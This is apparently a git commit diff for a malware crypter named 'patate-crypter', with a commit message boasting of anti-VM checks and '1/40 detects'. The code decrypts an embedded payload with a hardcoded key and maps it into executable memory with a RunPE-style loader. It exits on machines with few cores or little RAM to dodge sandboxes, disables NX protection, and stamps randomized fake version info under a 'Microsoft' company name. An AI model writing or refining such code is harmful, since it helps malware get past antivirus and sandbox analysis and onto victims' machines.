removed CRT, add anti vm, 1/40 detects

eScan Gen:Variant.Lazy.273251

Crypter/config.h

@@ -1,2 +1,2 @@
 #pragma once
-#define KEY ""
+#define KEY "ouhuoqhzdb"

Crypter/main.cpp

@@ -10,7 +10,7 @@
 HMODULE hModule2;
 LPVOID lpReserved2;
 
-#define NEW_ADDRESS 0x10000
+#define NEW_ADDRESS 0x00
 
 // Define a macro for the debug printf
 #ifdef _DEBUG
@@ -30,9 +30,17 @@ Works with :
 - Doesn't copy headers
 */
 
+size_t my_strlen(const char* str) {
+    //START
+    size_t s = 0;
+    for (; str[s] != '\0'; ++s);
+    return s;
+    //END
+}
+
 void decrypt(const char* key, int offset = 0, int limit = -1) {
 	//START
-    size_t key_size = strlen(key);
+    size_t key_size = my_strlen(key);
     const int bufferSize = sizeof(sample) / sizeof(sample[0]);
     if (limit == -1) limit = bufferSize;
 	if (key_size == 0) return;
@@ -73,7 +81,8 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
     }
 
     const size_t image_size = nt_headers->OptionalHeader.SizeOfImage;
-    void* image_base = VirtualAlloc((LPVOID)newBase, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+    void* image_base = (LPVOID)newBase;
+    image_base = VirtualAlloc(image_base, image_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     if (image_base == NULL) {
         return NULL;
     }
@@ -105,7 +114,6 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
 
         HMODULE import_dll = LoadLibraryA(import_dll_name);
         if (import_dll == NULL) {
-            VirtualFree(image_base, 0, MEM_RELEASE);
             return NULL;
         }
 
@@ -140,7 +148,7 @@ HMODULE RunPE(const void* dll_buffer, size_t dll_size, DWORD newBase)
     DEBUG_PRINTF("[+] Doing relocation\n");
 
     const IMAGE_BASE_RELOCATION* base_relocation = reinterpret_cast<const IMAGE_BASE_RELOCATION*>(static_cast<const char*>(image_base) + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
-    DWORD delta = newBase - nt_headers->OptionalHeader.ImageBase;
+    DWORD delta = (DWORD)image_base - nt_headers->OptionalHeader.ImageBase;
 
     while (base_relocation->VirtualAddress != 0) {
         const WORD* relocation_block = reinterpret_cast<const WORD*>(base_relocation + 1);
@@ -206,13 +214,27 @@ int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCm
 #endif
 {
 	//START
-
 #ifdef _DEBUG
     allo();
 #endif
 
     DEBUG_PRINTF("[+] Started\n");
 
+    MEMORYSTATUSEX memoryStatus;
+    memoryStatus.dwLength = sizeof(memoryStatus);
+    GlobalMemoryStatusEx(&memoryStatus);
+    ULONGLONG totalPhysicalMemory = memoryStatus.ullTotalPhys;
+
+    // Convert total physical memory to gigabytes
+    double totalPhysicalMemoryGB = static_cast<double>(totalPhysicalMemory) / (1024 * 1024 * 1024);
+
+    // Get the number of processor cores
+    SYSTEM_INFO systemInfo;
+    GetSystemInfo(&systemInfo);
+    DWORD numProcessorCores = systemInfo.dwNumberOfProcessors;
+    if (numProcessorCores < 2 || (int)totalPhysicalMemoryGB < 4)
+        return 0;
+
     const int bufferSize = sizeof(sample) / sizeof(sample[0]);
 	
     HMODULE dll = RunPE(sample, bufferSize, NEW_ADDRESS);
@@ -221,8 +243,6 @@ int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR     lpCm
         return 1;
     }
 
-    ::FreeLibrary(dll);
-
     return 0;
 	//END
 }

Crypter/patate-crypter.rc

@@ -68,12 +68,12 @@ BEGIN
         BLOCK "040c04b0"
         BEGIN
 			VALUE "CompanyName", "Microsoft"
-			VALUE "FileDescription", "qhffltbhaqzfykugipsz"
+			VALUE "FileDescription", "qgfozummtzttkchjglkz"
 			VALUE "FileVersion", "1.0.0.1"
-			VALUE "InternalName", "gqhfyim.exe"
+			VALUE "InternalName", "oiablyy.exe"
 			VALUE "LegalCopyright", "Copyright (C) 2023"
-			VALUE "OriginalFilename", "ddyshnw.exe"
+			VALUE "OriginalFilename", "tmzponf.exe"
-			VALUE "ProductName", "swtvick.exe"
+			VALUE "ProductName", "oeozjqg.exe"
             VALUE "ProductVersion", "1.0.0.1"
         END
     END

Crypter/patate-crypter.vcxproj

@@ -127,6 +127,8 @@
       <AdditionalOptions>/NXCOMPAT:no %(AdditionalOptions)</AdditionalOptions>
       <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
       <GenerateWindowsMetadata>false</GenerateWindowsMetadata>
+      <IgnoreSpecificDefaultLibraries>
+      </IgnoreSpecificDefaultLibraries>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -152,6 +154,7 @@
       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
       <LanguageStandard>stdcpp17</LanguageStandard>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>

Crypter/patate-crypter.vcxproj.filters

@@ -18,6 +18,9 @@
     <ClCompile Include="main.cpp">
       <Filter>Fichiers sources</Filter>
     </ClCompile>
+    <ClCompile Include="anti_emu.cpp">
+      <Filter>Fichiers sources</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="config.h">
@@ -29,6 +32,9 @@
     <ClInclude Include="sample.h">
       <Filter>Fichiers d%27en-tête</Filter>
     </ClInclude>
+    <ClInclude Include="anti_emu.h">
+      <Filter>Fichiers d%27en-tête</Filter>
+    </ClInclude>
   </ItemGroup>
   <ItemGroup>
     <ResourceCompile Include="patate-crypter.rc">